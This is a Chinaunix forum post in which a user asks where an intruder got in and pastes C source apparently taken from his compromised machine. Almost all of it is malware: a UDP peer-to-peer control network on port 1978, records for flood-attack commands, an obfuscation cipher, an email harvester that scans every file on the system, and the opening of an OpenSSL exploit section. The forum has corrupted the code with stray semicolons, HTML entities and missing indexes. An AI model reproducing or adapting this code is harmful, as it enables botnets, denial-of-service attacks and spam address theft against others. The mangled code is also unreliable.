免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 3210 | 回复: 9
打印 上一主题 下一主题

请大家帮我看看这个C语言代码,这是我机器上个月让人黑的代码? [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2003-02-23 17:32 |只看该作者 |倒序浏览
我想问问它是什么地方(端口)进来的?
#include <stdio.h>;
#include <unistd.h>;
#include <string.h>;
#include <fcntl.h>;
#include <stdlib.h>;
#include <stdarg.h>;
#include <sys/ioctl.h>;
#include <sys/types.h>;
#include <sys/socket.h>;
#include <netinet/in.h>;
#include <sys/time.h>;
#include <unistd.h>;
#include <errno.h>;
#include <netdb.h>;
#include <arpa/telnet.h>;
#include <sys/wait.h>;
#include <signal.h>;

#define SCAN
#undef LARGE_NET
#undef FREEBSD

#define BROADCASTS        2
#define LINKS                128
#define CLIENTS                128
#define PORT                1978
#define SCANPORT        80
#define SCANTIMEOUT        5
#define MAXPATH                4096
#define ESCANPORT        11978
#define VERSION                18092002

//////////////////////////////////////////////////////////////////////////////////////
//                                  Macros                                          //
//////////////////////////////////////////////////////////////////////////////////////

#define FREE(x) {if (x) { free(x);x=NULL; }}

enum { TCP_PENDING=1, TCP_CONNECTED=2, SOCKS_REPLY=3 };
enum { ASUCCESS=0, ARESOLVE, ACONNECT, ASOCKET, ABIND, AINUSE, APENDING, AINSTANCE, AUNKNOWN };
enum { AREAD=1, AWRITE=2, AEXCEPT=4 };

//////////////////////////////////////////////////////////////////////////////////////
//                                  Packet headers                                  //
//////////////////////////////////////////////////////////////////////////////////////

struct llheader {
        char type;
        unsigned long checksum;
        unsigned long id;
};
struct header {
        char tag;
        int id;
        unsigned long len;
        unsigned long seq;
};
struct route_rec {
        struct header h;
        char sync;
        unsigned char hops;
        unsigned long server;
        unsigned long links;
};
struct kill_rec {
        struct header h;
};
struct sh_rec {
        struct header h;
};
struct list_rec {
        struct header h;
};
struct udp_rec {
        struct header h;
        unsigned long size;
        unsigned long target;
        unsigned short port;
        unsigned long secs;
};
struct tcp_rec {
        struct header h;
        unsigned long target;
        unsigned short port;
        unsigned long secs;
};
struct tcp6_rec {
        struct header h;
        unsigned long target[4];
        unsigned short port;
        unsigned long secs;
};
struct gen_rec {
        struct header h;
        unsigned long target;
        unsigned short port;
        unsigned long secs;
};
struct df_rec {
        struct header h;
        unsigned long target;
        unsigned long secs;
};
struct add_rec {
        struct header h;
        unsigned long server;
        unsigned long socks;
        unsigned long bind;
        unsigned short port;
};
struct data_rec {
        struct header h;
};
struct addsrv_rec {
        struct header h;
};
struct initsrv_rec {
        struct header h;
};
struct qmyip_rec {
        struct header h;
};
struct myip_rec {
        struct header h;
        unsigned long ip;
};
struct escan_rec {
        struct header h;
        unsigned long ip;
};
struct getinfo_rec {
        struct header h;
        unsigned long time;
        unsigned long mtime;
};
struct info_rec {
        struct header h;
        unsigned char a;
        unsigned char b;
        unsigned char c;
        unsigned char d;
        unsigned long ip;
        unsigned long uptime;
        unsigned long reqtime;
        unsigned long reqmtime;
        unsigned long in;
        unsigned long out;
        unsigned long version;
};

//////////////////////////////////////////////////////////////////////////////////////
//                             Public variables                                     //
//////////////////////////////////////////////////////////////////////////////////////

struct ainst {
        void *ext,*ext5;
        int ext2,ext3,ext4;

        int sock,error;
        unsigned long len;
        struct sockaddr_in in;
};
struct ainst clients[CLIENTS*2];
struct ainst udpclient;
unsigned int sseed=0;
struct route_table {
        int id;
        unsigned long ip;
        unsigned short port;
} routes[LINKS];
unsigned long numlinks, *links=NULL, myip=0;
unsigned long sequence[LINKS], rsa[LINKS];
unsigned int *pids=NULL;
unsigned long numpids=0;
unsigned long uptime=0, in=0, out=0;
unsigned long synctime=0;
int syncmodes=1;

struct mqueue {
        char *packet;
        unsigned long len;
        unsigned long id;
        unsigned long time;
        unsigned long ltime;
        unsigned long destination;
        unsigned short port;
        unsigned char trys;
        struct mqueue *next;
} *queues=NULL;

#ifdef SCAN
unsigned char classes[] = { 3, 4, 6, 8, 9, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 24, 25, 26, 28, 29, 30, 32, 33, 34, 35, 38, 40, 43, 44, 45,
        46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 61, 62, 63, 64, 65, 66, 67, 68, 80, 81, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138,
        139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167,
        168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196,
        198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 224, 225, 226, 227, 228, 229,
        230, 231, 232, 233, 234, 235, 236, 237, 238, 239 };
#endif

//////////////////////////////////////////////////////////////////////////////////////
//                               Public routines                                    //
//////////////////////////////////////////////////////////////////////////////////////

unsigned long gettimeout() {
        return 36+(numlinks/15);
}

void syncmode(int mode) {
        syncmodes=mode;
}

void gsrand(unsigned long s) {
        sseed=s;
}
unsigned long grand() {
        sseed=((sseed*965764979)%65535)/2;
        return sseed;
}

void nas(int a) {
}

int mfork() {
        unsigned int parent, *newpids, i;
        parent=fork();
        if (parent <= 0) return parent;
        numpids++;
        newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
        if (newpids == NULL) return parent;
        for (i=0;i<numpids-1;i++) newpids=pids;
        newpids[numpids-1]=parent;
        FREE(pids);
        pids=newpids;
        return parent;
}

char *aerror(struct ainst *inst) {
        if (inst == NULL) return "Invalid instance or socket";
        switch(inst->;error) {
                case ASUCCESS:return "Operation Success";
                case ARESOLVE:return "Unable to resolve";
                case ACONNECT:return "Unable to connect";
                case ASOCKET:return "Unable to create socket";
                case ABIND:return "Unable to bind socket";
                case AINUSE:return "ort is in use";
                case APENDING:return "Operation pending";
                case AUNKNOWN:default:return "Unknown";
        }
        return "";
}

int aresolve(char *host) {
        struct hostent *hp;
        if (inet_addr(host) == 0 || inet_addr(host) == -1) {
                unsigned long a;
                if ((hp = gethostbyname(host)) == NULL) return 0;
                bcopy((char*)hp->;h_addr, (char*)&amp;a, hp->;h_length);
                return a;
        }
        else return inet_addr(host);
}

int abind(struct ainst *inst,unsigned long ip,unsigned short port) {
        struct sockaddr_in in;
        if (inst == NULL) return (AINSTANCE);
        if (inst->;sock == 0) {
                inst->;error=AINSTANCE;
                return (AINSTANCE);
        }
        inst->;len=0;
        in.sin_family = AF_INET;
        if (ip == NULL) in.sin_addr.s_addr = INADDR_ANY;
        else in.sin_addr.s_addr = ip;
        in.sin_port = htons(port);
        if (bind(inst->;sock, (struct sockaddr *)&amp;in, sizeof(in)) < 0) {
                inst->;error=ABIND;
                return (ABIND);
        }
        inst->;error=ASUCCESS;
        return ASUCCESS;
}

int await(struct ainst **inst,unsigned long len,char type,long secs) {
        struct timeval tm,*tmp;
        fd_set read,write,except,*readp,*writep,*exceptp;
        int p,ret,max;
        if (inst == NULL) return (AINSTANCE);
        for (p=0;p<len;p++) inst[p]->;len=0;
        if (secs >; 0) {
                tm.tv_sec=secs;
                tm.tv_usec=0;
                tmp=&amp;tm;
        }
        else tmp=(struct timeval *)NULL;
        if (type &amp; AREAD) {
                FD_ZERO(&amp;read);
                for (p=0;p<len;p++) FD_SET(inst[p]->;sock,&amp;read);
                readp=&amp;read;
        }
        else readp=(struct fd_set*)0;
        if (type &amp; AWRITE) {
                FD_ZERO(&amp;write);
                for (p=0;p<len;p++) FD_SET(inst[p]->;sock,&amp;write);
                writep=&amp;write;
        }
        else writep=(struct fd_set*)0;
        if (type &amp; AEXCEPT) {
                FD_ZERO(&amp;except);
                for (p=0;p<len;p++) FD_SET(inst[p]->;sock,&amp;except);
                exceptp=&amp;except;
        }
        else exceptp=(struct fd_set*)0;
        for (p=0,max=0;p<len;p++) if (inst[p]->;sock >; max) max=inst[p]->;sock;
        if ((ret=select(max+1,readp,writep,exceptp,tmp)) == 0) {
                for (p=0;p<len;p++) inst[p]->;error=APENDING;
                return (APENDING);
        }
        if (ret == -1) return (AUNKNOWN);
        for (p=0;p<len;p++) {
                if (type &amp; AREAD) if (FD_ISSET(inst[p]->;sock,&amp;read)) inst[p]->;len+=AREAD;
                if (type &amp; AWRITE) if (FD_ISSET(inst[p]->;sock,&amp;write)) inst[p]->;len+=AWRITE;
                if (type &amp; AEXCEPT) if (FD_ISSET(inst[p]->;sock,&amp;except)) inst[p]->;len+=AEXCEPT;
        }
        for (p=0;p<len;p++) inst[p]->;error=ASUCCESS;
        return (ASUCCESS);
}

int atcp_sync_check(struct ainst *inst) {
        if (inst == NULL) return (AINSTANCE);
        inst->;len=0;
        errno=0;
        if (connect(inst->;sock, (struct sockaddr *)&amp;inst->;in, sizeof(inst->;in)) == 0 || errno == EISCONN) {
                inst->;error=ASUCCESS;
                return (ASUCCESS);
        }
        if (!(errno == EINPROGRESS ||errno == EALREADY)) {
                inst->;error=ACONNECT;
                return (ACONNECT);
        }
        inst->;error=APENDING;
        return (APENDING);
}

int atcp_sync_connect(struct ainst *inst,char *host,unsigned int port) {
        int flag=1;
        struct hostent *hp;
        if (inst == NULL) return (AINSTANCE);
        inst->;len=0;
        if ((inst->;sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
                inst->;error=ASOCKET;
                return (ASOCKET);
        }
        if (inet_addr(host) == 0 || inet_addr(host) == -1) {
                if ((hp = gethostbyname(host)) == NULL) {
                        inst->;error=ARESOLVE;
                        return (ARESOLVE);
                }
                bcopy((char*)hp->;h_addr, (char*)&amp;inst->;in.sin_addr, hp->;h_length);
        }
        else inst->;in.sin_addr.s_addr=inet_addr(host);
        inst->;in.sin_family = AF_INET;
        inst->;in.sin_port = htons(port);
        flag = fcntl(inst->;sock, F_GETFL, 0);
        flag |= O_NONBLOCK;
        fcntl(inst->;sock, F_SETFL, flag);
        inst->;error=ASUCCESS;
        return (ASUCCESS);
}

int atcp_connect(struct ainst *inst,char *host,unsigned int port) {
        int flag=1;
        unsigned long start;
        struct hostent *hp;
        if (inst == NULL) return (AINSTANCE);
        inst->;len=0;
        if ((inst->;sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
                inst->;error=ASOCKET;
                return (ASOCKET);
        }
        if (inet_addr(host) == 0 || inet_addr(host) == -1) {
                if ((hp = gethostbyname(host)) == NULL) {
                        inst->;error=ARESOLVE;
                        return (ARESOLVE);
                }
                bcopy((char*)hp->;h_addr, (char*)&amp;inst->;in.sin_addr, hp->;h_length);
        }
        else inst->;in.sin_addr.s_addr=inet_addr(host);
        inst->;in.sin_family = AF_INET;
        inst->;in.sin_port = htons(port);
        flag = fcntl(inst->;sock, F_GETFL, 0);
        flag |= O_NONBLOCK;
        fcntl(inst->;sock, F_SETFL, flag);
        start=time(NULL);
        while(time(NULL)-start < 10) {
                errno=0;
                if (connect(inst->;sock, (struct sockaddr *)&amp;inst->;in, sizeof(inst->;in)) == 0 || errno == EISCONN) {
                        inst->;error=ASUCCESS;
                        return (ASUCCESS);
                }
                if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
                sleep(1);
        }
        inst->;error=ACONNECT;
        return (ACONNECT);
}

int atcp_accept(struct ainst *inst,struct ainst *child) {
        int sock;
        unsigned int datalen;
        if (inst == NULL || child == NULL) return (AINSTANCE);
        datalen=sizeof(child->;in);
        inst->;len=0;
        memcpy((void*)child,(void*)inst,sizeof(struct ainst));
        if ((sock=accept(inst->;sock,(struct sockaddr *)&amp;child->;in,&amp;datalen)) < 0) {
                memset((void*)child,0,sizeof(struct ainst));
                inst->;error=APENDING;
                return (APENDING);
        }
        child->;sock=sock;
        inst->;len=datalen;
        inst->;error=ASUCCESS;
        return (ASUCCESS);
}

int atcp_send(struct ainst *inst,char *buf,unsigned long len) {
        long datalen;
        if (inst == NULL) return (AINSTANCE);
        inst->;len=0;
        errno=0;
        if ((datalen=write(inst->;sock,buf,len)) < len) {
                if (errno == EAGAIN) {
                        inst->;error=APENDING;
                        return (APENDING);
                }
                else {
                        inst->;error=AUNKNOWN;
                        return (AUNKNOWN);
                }
        }
        inst->;len=datalen;
        inst->;error=ASUCCESS;
        return (ASUCCESS);
}

int atcp_sendmsg(struct ainst *inst, char *words, ...) {
        static char textBuffer[2048];
        unsigned int a;
        va_list args;
        va_start(args, words);
        a=vsprintf(textBuffer, words, args);
        va_end(args);
        return atcp_send(inst,textBuffer,a);
}

int atcp_recv(struct ainst *inst,char *buf,unsigned long len) {
        long datalen;
        if (inst == NULL) return (AINSTANCE);
        inst->;len=0;
        if ((datalen=read(inst->;sock,buf,len)) < 0) {
                if (errno == EAGAIN) {
                        inst->;error=APENDING;
                        return (APENDING);
                }
                else {
                        inst->;error=AUNKNOWN;
                        return (AUNKNOWN);
                }
        }
        if (datalen == 0 &amp;&amp; len) {
                inst->;error=AUNKNOWN;
                return (AUNKNOWN);
        }
        inst->;len=datalen;
        inst->;error=ASUCCESS;
        return (ASUCCESS);
}

int atcp_close(struct ainst *inst) {
        if (inst == NULL) return (AINSTANCE);
        inst->;len=0;
        if (close(inst->;sock) < 0) {
                inst->;error=AUNKNOWN;
                return (AUNKNOWN);
        }
        inst->;sock=0;
        inst->;error=ASUCCESS;
        return (ASUCCESS);
}

int audp_listen(struct ainst *inst,unsigned int port) {
        int flag=1;
        if (inst == NULL) return (AINSTANCE);
        inst->;len=0;
        if ((inst->;sock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0) {
                inst->;error=ASOCKET;
                return (ASOCKET);
        }
        inst->;in.sin_family = AF_INET;
        inst->;in.sin_addr.s_addr = INADDR_ANY;
        inst->;in.sin_port = htons(port);
        if (bind(inst->;sock, (struct sockaddr *)&amp;inst->;in, sizeof(inst->;in)) < 0) {
                inst->;error=ABIND;
                return (ABIND);
        }
#ifdef O_DIRECT
        flag = fcntl(inst->;sock, F_GETFL, 0);
        flag |= O_DIRECT;
        fcntl(inst->;sock, F_SETFL, flag);
#endif
        inst->;error=ASUCCESS;
        flag=1;
        setsockopt(inst->;sock,SOL_SOCKET,SO_OOBINLINE,&amp;flag,sizeof(flag));
        return (ASUCCESS);
}

int audp_setup(struct ainst *inst,char *host,unsigned int port) {
        int flag=1;
        struct hostent *hp;
        if (inst == NULL) return (AINSTANCE);
        inst->;len=0;
        if ((inst->;sock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0) {
                inst->;error=ASOCKET;
                return (ASOCKET);
        }
        if (inet_addr(host) == 0 || inet_addr(host) == -1) {
                if ((hp = gethostbyname(host)) == NULL) {
                        inst->;error=ARESOLVE;
                        return (ARESOLVE);
                }
                bcopy((char*)hp->;h_addr, (char*)&amp;inst->;in.sin_addr, hp->;h_length);
        }
        else inst->;in.sin_addr.s_addr=inet_addr(host);
        inst->;in.sin_family = AF_INET;
        inst->;in.sin_port = htons(port);
#ifdef O_DIRECT
        flag = fcntl(inst->;sock, F_GETFL, 0);
        flag |= O_DIRECT;
        fcntl(inst->;sock, F_SETFL, flag);
#endif
        inst->;error=ASUCCESS;
        return (ASUCCESS);
}

int audp_relay(struct ainst *parent,struct ainst *inst,char *host,unsigned int port) {
        struct hostent *hp;
        if (inst == NULL) return (AINSTANCE);
        inst->;len=0;
        inst->;sock = parent->;sock;
        if (inet_addr(host) == 0 || inet_addr(host) == -1) {
                if ((hp = gethostbyname(host)) == NULL) {
                        inst->;error=ARESOLVE;
                        return (ARESOLVE);
                }
                bcopy((char*)hp->;h_addr, (char*)&amp;inst->;in.sin_addr, hp->;h_length);
        }
        else inst->;in.sin_addr.s_addr=inet_addr(host);
        inst->;in.sin_family = AF_INET;
        inst->;in.sin_port = htons(port);
        inst->;error=ASUCCESS;
        return (ASUCCESS);
}

int audp_send(struct ainst *inst,char *buf,unsigned long len) {
        long datalen;
        if (inst == NULL) return (AINSTANCE);
        inst->;len=0;
        errno=0;
        if ((datalen=sendto(inst->;sock,buf,len,0,(struct sockaddr*)&amp;inst->;in,sizeof(inst->;in))) < len) {
                if (errno == EAGAIN) {
                        inst->;error=APENDING;
                        return (APENDING);
                }
                else {
                        inst->;error=AUNKNOWN;
                        return (AUNKNOWN);
                }
        }
        out++;
        inst->;len=datalen;
        inst->;error=ASUCCESS;
        return (ASUCCESS);
}

int audp_sendmsg(struct ainst *inst, char *words, ...) {
        static char textBuffer[2048];
        unsigned int a;
        va_list args;
        va_start(args, words);
        a=vsprintf(textBuffer, words, args);
        va_end(args);
        return audp_send(inst,textBuffer,a);
}

int audp_recv(struct ainst *inst,struct ainst *client,char *buf,unsigned long len) {
        long datalen,nlen;
        if (inst == NULL) return (AINSTANCE);
        nlen=sizeof(inst->;in);
        inst->;len=0;
        memcpy((void*)client,(void*)inst,sizeof(struct ainst));
        if ((datalen=recvfrom(inst->;sock,buf,len,0,(struct sockaddr*)&amp;client->;in,(size_t*)&amp;nlen)) < 0) {
                if (errno == EAGAIN) {
                        inst->;error=APENDING;
                        return (APENDING);
                }
                else {
                        inst->;error=AUNKNOWN;
                        return (AUNKNOWN);
                }
        }
        inst->;len=datalen;
        inst->;error=ASUCCESS;
        return (ASUCCESS);
}

int audp_close(struct ainst *inst) {
        if (inst == NULL) return (AINSTANCE);
        inst->;len=0;
        if (close(inst->;sock) < 0) {
                inst->;error=AUNKNOWN;
                return (AUNKNOWN);
        }
        inst->;sock=0;
        inst->;error=ASUCCESS;
        return (ASUCCESS);
}

unsigned long _decrypt(char *str, unsigned long len) {
        unsigned long pos=0,seed[4]={0x78912389,0x094e7bc43,0xba5de30b,0x7bc54da7};
        gsrand(((seed[0]+seed[1])*seed[2])^seed[3]);
        while(1) {
                gsrand(seed[pos%4]+grand()+pos);
                str[pos]-=grand();
                pos++;
                if (pos >;= len) break;
        }
        return pos;
}

unsigned long _encrypt(char *str, unsigned long len) {
        unsigned long pos=0,seed[4]={0x78912389,0x094e7bc43,0xba5de30b,0x7bc54da7};
        gsrand(((seed[0]+seed[1])*seed[2])^seed[3]);
        while(1) {
                gsrand(seed[pos%4]+grand()+pos);
                str[pos]+=grand();
                pos++;
                if (pos >;= len) break;
        }
        return pos;
}

int useseq(unsigned long seq) {
        unsigned long a;
        if (seq == 0) return 0;
        for (a=0;a<LINKS;a++) if (sequence[a] == seq) return 1;
        return 0;
}

unsigned long newseq() {
        unsigned long seq;
        while(1) {
                seq=(rand()*rand())^rand();
                if (useseq(seq) || seq == 0) continue;
                break;
        }
        return seq;
}

void addseq(unsigned long seq) {
        unsigned long i;
        for (i=LINKS-1;i>;0;i--) sequence=sequence[i-1];
        sequence[0]=seq;
}

void addserver(unsigned long server) {
        unsigned long *newlinks, i, stop;
        char a=0;
        for (i=0;i<numlinks;i++) if (links == server) a=1;
        if (a == 1 || server == 0) return;
        numlinks++;
        newlinks=(unsigned long*)malloc((numlinks+1)*sizeof(unsigned long));
        if (newlinks == NULL) return;
        stop=rand()%numlinks;
        for (i=0;i<stop;i++) newlinks=links;
        newlinks=server;
        for (;i<numlinks-1;i++) newlinks[i+1]=links;
        FREE(links);
        links=newlinks;
}

void conv(char *str,int len,unsigned long server) {
        memset(str,0,len);
        strcpy(str,(char*)inet_ntoa(*(struct in_addr*)&amp;server));
}

int isreal(unsigned long server) {
        char srv[256];
        unsigned int i,f;
        unsigned char a=0,b=0;
        conv(srv,256,server);
        for (i=0;i<strlen(srv) &amp;&amp; srv!='.';i++);
        srv=0;
        a=atoi(srv);
        f=i+1;
        for (i++;i<strlen(srv) &amp;&amp; srv!='.';i++);
        srv=0;
        b=atoi(srv+f);
        if (a == 127 || a == 10 || a == 0) return 0;
        if (a == 172 &amp;&amp; b >;= 16 &amp;&amp; b <= 31) return 0;
        if (a == 192 &amp;&amp; b == 16 return 0;
        return 1;
}

u_short in_cksum(u_short *addr, int len) {
        register int nleft = len;
        register u_short *w = addr;
        register int sum = 0;
        u_short answer =0;
        while (nleft >; 1) {
                sum += *w++;
                nleft -= 2;
        }
        if (nleft == 1) {
                *(u_char *)(&amp;answer) = *(u_char *)w;
                sum += answer;
        }
        sum = (sum >;>; 16) + (sum &amp; 0xffff);
        sum += (sum >;>; 16);
        answer = ~sum;
        return(answer);
}

int usersa(unsigned long rs) {
        unsigned long a;
        if (rs == 0) return 0;
        for (a=0;a<LINKS;a++) if (rsa[a] == rs) return 1;
        return 0;
}

unsigned long newrsa() {
        unsigned long rs;
        while(1) {
                rs=(rand()*rand())^rand();
                if (usersa(rs) || rs == 0) continue;
                break;
        }
        return rs;
}

void addrsa(unsigned long rs) {
        unsigned long i;
        for (i=LINKS-1;i>;0;i--) rsa=rsa[i-1];
        rsa[0]=rs;
}

void delqueue(unsigned long id) {
        struct mqueue *getqueue=queues, *prevqueue=NULL;
        while(getqueue != NULL) {
                if (getqueue->;id == id) {
                        getqueue->;trys--;
                        if (!getqueue->;trys) {
                                if (prevqueue) prevqueue->;next=getqueue->;next;
                                else queues=getqueue->;next;
                        }
                        return;
                }
                prevqueue=getqueue;
                getqueue=getqueue->;next;
        }
}

int waitforqueues() {
        if (mfork() == 0) {
                sleep(gettimeout());
                return 0;
        }
        return 1;
}

//////////////////////////////////////////////////////////////////////////////////////
//                                   Sending functions                              //
//////////////////////////////////////////////////////////////////////////////////////

struct ainst udpserver;

char *lowsend(struct ainst *ts,unsigned char b,char *buf,unsigned long len) {
        struct llheader rp;
        struct mqueue *q;
        char *mbuf=(char*)malloc(sizeof(rp)+len);
        if (mbuf == NULL) return NULL;
        memset((void*)&amp;rp,0,sizeof(struct llheader));
        rp.checksum=in_cksum(buf,len);
        rp.id=newrsa();
        rp.type=0;
        memcpy(mbuf,&amp;rp,sizeof(rp));
        memcpy(mbuf+sizeof(rp),buf,len);

        q=(struct mqueue *)malloc(sizeof(struct mqueue));
        q->;packet=(char*)malloc(sizeof(rp)+len);
        memcpy(q->;packet,mbuf,sizeof(rp)+len);
        q->;len=sizeof(rp)+len;
        q->;id=rp.id;
        q->;time=time(NULL);
        q->;ltime=time(NULL);
        if (b) {
                q->;destination=0;
                q->;port=PORT;
                q->;trys=b;
        }
        else {
                q->;destination=ts->;in.sin_addr.s_addr;
                q->;port=htons(ts->;in.sin_port);
                q->;trys=1;
        }
        q->;next=queues;
        queues=q;

        if (ts) {
                audp_send(ts,mbuf,len+sizeof(rp));
                FREE(mbuf);
        }
        else return mbuf;
}

int relayclient(struct ainst *ts,char *buf,unsigned long len) {
        return lowsend(ts,0,buf,len)?1:0;
}

int relay(unsigned long server,char *buf,unsigned long len) {
        struct ainst ts;
        char srv[256];
        memset((void*)&amp;ts,0,sizeof(struct ainst));
        conv(srv,256,server);
        audp_relay(&amp;udpserver,&amp;ts,srv,PORT);
        return lowsend(&amp;ts,0,buf,len)?1:0;
}

void segment(unsigned char low,char *buf, unsigned long len) {
        unsigned long a=0,c=0;
        char *mbuf=NULL;
        if (numlinks == 0 || links == NULL) return;
        if (low) mbuf=lowsend(NULL,low,buf,len);
        for(;c < 10;c++) {
                a=rand()%numlinks;
                if (links[a] != myip) {
                        struct ainst ts;
                        char srv[256];
                        memset((void*)&amp;ts,0,sizeof(struct ainst));
                        conv(srv,256,links[a]);
                        audp_relay(&amp;udpserver,&amp;ts,srv,PORT);
                        if (mbuf) audp_send(&amp;ts,mbuf,len+sizeof(struct llheader));
                        else audp_send(&amp;ts,buf,len);
                        break;
                }
        }
        FREE(mbuf);
}

void broadcast(char *buf,unsigned long len) {
        struct route_rec rc;
        char *str=(char*)malloc(sizeof(struct route_rec)+len+1);
        if (str == NULL) return;
        memset((void*)&amp;rc,0,sizeof(struct route_rec));
        rc.h.tag=0x26;
        rc.h.id=rand();
        rc.h.len=sizeof(struct route_rec)+len;
        rc.h.seq=newseq();
        rc.server=0;
        rc.sync=syncmodes;
        rc.links=numlinks;
        rc.hops=5;
        memcpy((void*)str,(void*)&amp;rc,sizeof(struct route_rec));
        memcpy((void*)(str+sizeof(struct route_rec)),(void*)buf,len);
        segment(2,str,sizeof(struct route_rec)+len);
        FREE(str);
}

void syncm(struct ainst *inst,char tag,int id) {
        struct addsrv_rec rc;
        struct next_rec { unsigned long server; } fc;
        unsigned long a,b;
        for (b=0;;b+=700) {
                unsigned long _numlinks=numlinks-b>;700?700:numlinks-b;
                unsigned long *_links=links+b;
                unsigned char *str;
                if (b >; numlinks) break;
                str=(unsigned char*)malloc(sizeof(struct addsrv_rec)+(_numlinks*sizeof(struct next_rec)));
                if (str == NULL) return;
                memset((void*)&amp;rc,0,sizeof(struct addsrv_rec));
                rc.h.tag=tag;
                rc.h.id=id;
                if (id) rc.h.seq=newseq();
                rc.h.len=sizeof(struct next_rec)*_numlinks;
                memcpy((void*)str,(void*)&amp;rc,sizeof(struct addsrv_rec));
                for (a=0;a<_numlinks;a++) {
                        memset((void*)&amp;fc,0,sizeof(struct next_rec));
                        fc.server=_links[a];
                        memcpy((void*)(str+sizeof(struct addsrv_rec)+(a*sizeof(struct next_rec))),(void*)&amp;fc,sizeof(struct next_rec));
                }
                if (!id) relay(inst->;in.sin_addr.s_addr,(void*)str,sizeof(struct addsrv_rec)+(_numlinks*sizeof(struct next_rec)));
                else relayclient(inst,(void*)str,sizeof(struct addsrv_rec)+(_numlinks*sizeof(struct next_rec)));
                FREE(str);
        }
}

void senderror(struct ainst *inst, int id, char *buf2) {
        struct data_rec rc;
        char *str,*buf=strdup(buf2);
        memset((void*)&amp;rc,0,sizeof(struct data_rec));
        rc.h.tag=0x45;
        rc.h.id=id;
        rc.h.seq=newseq();
        rc.h.len=strlen(buf2);
        _encrypt(buf,strlen(buf2));
        str=(char*)malloc(sizeof(struct data_rec)+strlen(buf2)+1);
        if (str == NULL) {
                FREE(buf);
                return;
        }
        memcpy((void*)str,(void*)&amp;rc,sizeof(struct data_rec));
        memcpy((void*)(str+sizeof(struct data_rec)),buf,strlen(buf2));
        relayclient(&amp;udpclient,str,sizeof(struct data_rec)+strlen(buf2));
        FREE(str);
        FREE(buf);
}

//////////////////////////////////////////////////////////////////////////////////////
//                                      Scan for email                              //
//////////////////////////////////////////////////////////////////////////////////////

int isgood(char a) {
        if (a >;= 'a' &amp;&amp; a <= 'z') return 1;
        if (a >;= 'A' &amp;&amp; a <= 'Z') return 1;
        if (a >;= '0' &amp;&amp; a <= '9') return 1;
        if (a == '.' || a == '@' || a == '^' || a == '-' || a == '_') return 1;
        return 0;
}

int islisten(char a) {
        if (a == '.') return 1;
        if (a >;= 'a' &amp;&amp; a <= 'z') return 1;
        if (a >;= 'A' &amp;&amp; a <= 'Z') return 1;
        return 0;
}

struct _linklist {
        char *name;
        struct _linklist *next;
} *linklist=NULL;

void AddToList(char *str) {
        struct _linklist *getb=linklist,*newb;
        while(getb != NULL) {
                if (!strcmp(str,getb->;name)) return;
                getb=getb->;next;
        }
        newb=(struct _linklist *)malloc(sizeof(struct _linklist));
        if (newb == NULL) return;
        newb->;name=strdup(str);
        newb->;next=linklist;
        linklist=newb;
}

void cleanup(char *buf) {
        while(buf[strlen(buf)-1] == '\n' || buf[strlen(buf)-1] == '\r' || buf[strlen(buf)-1] == ' ') buf[strlen(buf)-1] = 0;
        while(*buf == '\n' || *buf == '\r' || *buf == ' ') {
                unsigned long i;
                for (i=strlen(buf)+1;i>;0;i--) buf[i-1]=buf;
        }
}

void ScanFile(char *f) {
        FILE *file=fopen(f,"r";
        unsigned long startpos=0;
        if (file == NULL) return;
        while(1) {
                char buf[2];
                memset(buf,0,2);
                fseek(file,startpos,SEEK_SET);
                fread(buf,1,1,file);
                startpos++;
                if (feof(file)) break;
                if (*buf == '@') {
                        char email[256],c,d;
                        unsigned long pos=0;
                        while(1) {
                                unsigned long oldpos=ftell(file);
                                fseek(file,-1,SEEK_CUR);
                                c=fgetc(file);
                                if (!isgood(c)) break;
                                fseek(file,-1,SEEK_CUR);
                                if (oldpos == ftell(file)) break;
                        }
                        for (pos=0,c=0,d=0;pos<255;pos++) {
                                email[pos]=fgetc(file);
                                if (email[pos] == '.') c++;
                                if (email[pos] == '@') d++;
                                if (!isgood(email[pos])) break;
                        }
                        email[pos]=0;
                        if (c == 0 || d != 1) continue;
                        if (email[strlen(email)-1] == '.') email[strlen(email)-1]=0;
                        if (*email == '@' || *email == '.' || !*email) continue;
                        if (!strcmp(email,"webmaster@mydomain.com") continue;
                        for (pos=0,c=0;pos<strlen(email);pos++) if (email[pos] == '.') c=pos;
                        if (c == 0) continue;
                        if (!strncmp(email+c,".hlp",4)) continue;
                        for (pos=c,d=0;pos<strlen(email);pos++) if (!islisten(email[pos])) d=1;
                        if (d == 1) continue;
                        AddToList(email);
                }
        }
        fclose(file);
}

void StartScan() {
        FILE *f;
        f=popen("find / -type f","r";
        if (f == NULL) return;
        while(1) {
                char fullfile[MAXPATH];
                memset(fullfile,0,MAXPATH);
                fgets(fullfile,MAXPATH,f);
                if (feof(f)) break;
                while(fullfile[strlen(fullfile)-1]=='\n' ||
                        fullfile[strlen(fullfile)-1] == '\r')
                        fullfile[strlen(fullfile)-1]=0;
                if (!strncmp(fullfile,"/proc",5)) continue;
                if (!strncmp(fullfile,"/dev",4)) continue;
                if (!strncmp(fullfile,"/bin",4)) continue;
                ScanFile(fullfile);
        }
}

//////////////////////////////////////////////////////////////////////////////////////
//                                    Exploit                                       //
//////////////////////////////////////////////////////////////////////////////////////

#ifdef SCAN
#include <openssl/ssl.h>;
#include <openssl/rsa.h>;
#include <openssl/x509.h>;
#include <openssl/evp.h>;

char *GetAddress(char *ip) {
        struct sockaddr_in sin;
        fd_set fds;
        int n,d,sock;
